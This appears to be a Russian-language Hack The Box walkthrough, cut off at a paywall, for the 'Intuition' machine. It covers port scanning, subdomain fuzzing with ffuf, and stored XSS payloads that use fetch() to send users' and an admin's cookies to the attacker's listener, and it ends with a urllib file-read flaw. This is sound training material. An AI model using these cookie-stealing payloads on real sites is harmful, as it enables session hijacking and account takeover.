Содержание статьи
Наша цель — получение прав суперпользователя на машине Intuition с учебной площадки Hack The Box. Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.15 intuition.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Сканер нашел два открытых порта:
- 22 — служба OpenSSH 8.9p1;
- 80 — веб‑сервер Nginx 1.18.0.
Также отмечаем, что веб‑сервер на 80-м порте редиректит на домен comprezzor.
, поэтому добавим его в файл /
.
10.10.11.15 intuition.htb comprezzor.htb
Переходим к сайту на веб‑сервере и сразу получаем форму для загрузки файлов.
Точка входа
Ниже на странице есть ссылка на форму, куда можно отправлять информацию о найденных багах.
Ссылка ведет на сайт report.
, поэтому, прежде чем идти смотреть на него, снова добавим запись в файл /
.
10.10.11.15 intuition.htb comprezzor.htb report.comprezzor.htb
Так как мы уже нашли сайт на поддомене report
, есть смысл пробрутить поддомены по списку: так мы сможем найти еще больше сайтов, а соответственно, и больше точек входа. Подбирать поддомены будем с помощью утилиты ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-
-w
— словарь (я использую словари из набора SecLists); -
-t
— количество потоков; -
-u
— URL; -
-H
— HTTP-заголовок.
Место перебора помечается словом FUZZ.
Задаем все нужные параметры:
ffuf -u http://comprezzor.htb/ -H 'Host: FUZZ.comprezzor.htb' -w subdomains-bitquark-top100000.txt -t 256
В вывод программы попадают абсолютно все слова из списка, поэтому необходимо добавить фильтр, например по размеру страницы (параметр -fs
).
ffuf -u http://comprezzor.htb/ -H 'Host: FUZZ.comprezzor.htb' -w subdomains-bitquark-top100000.txt -t 256 -fs 178
Находим еще два поддомена. Обновляем запись в файле /
и наконец идем смотреть сайты.
10.10.11.15 intuition.htb comprezzor.htb report.comprezzor.htb auth.comprezzor.htb dashboard.comprezzor.htb
На auth.
нас встречает форма авторизации, а dashboard.
недоступен даже после регистрации и авторизации.
Куда интереснее форма отправки отчетов, так как ее можно потестировать на разные уязвимости.
По логике, если отчет кто‑то просматривает, мы можем попробовать проэксплуатировать уязвимость XSS. Для этого запустим локальный веб‑сервер:
python3 -m http.server
И отправим нагрузку, которая должна будет выполнить запрос на этот веб‑сервер.
<img src=x onerror='fetch("http://10.10.16.22:8000/test_xss")' />
На веб‑сервер пришел запрос, а значит, на сайте есть XSS. Недолго думая, попробуем стащить куки пользователя.
<img src=x onerror='fetch("http://10.10.16.22:8000/test_xss" + document.cookie)' />
В логах появляется длинная строка. Загружаем куки в браузер, пометив, что они предназначены для сайта dashboard, и переходим на этот сайт.
Точка опоры
Повышение привилегий
На странице мы можем смотреть сами отчеты, переходя по ссылкам в Report ID. При этом на странице самого отчета можно повысить его приоритет.
При повышении приоритета отчета, вероятно, его будет изучать уже администратор. А значит, мы сможем повторить трюк с XSS и получить cookie. Откроем отчет и повысим его приоритет, и, когда администратор перейдет к нему, мы получим его куки.
<img src=x onerror='fetch("http://10.10.16.22:8000/test_xss" + document.cookie)' />
Применяем куки в хранилище браузера Chrome и обновляем страницу. Теперь нам доступен другой дашборд, а также несколько новых функций.
Одна из интересных возможностей — это составление отчета в PDF по предоставленному URL.
Первой моей идеей было проверить, нет ли тут SSRF, и попробовать стащить локальные файлы через схему file://
. Правда, это результатов не дало.
Попробуем прислать тестовый запрос на свой листенер. Запустим его:
nc -nlvp 8000
Обрати внимание на используемую на сервере библиотеку — Python-urllib/
. Ее можно увидеть в HTTP-заголовке User-Agent
.
В этой библиотеке в прошлом году нашли уязвимость CVE-2023-24329.
Я поискал эксплоиты в Google и легко отыскал подходящий. Если URL будет начинаться с пробела, то мы сможем читать локальные файлы через «
.
LFI
Так как мы работаем с приложением на Python, хорошо бы взглянуть на исходный код. А для этого нужно знать, где в файловой системе находится приложение. Давай глянем файл /
— там содержится командная строка для текущего процесса.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»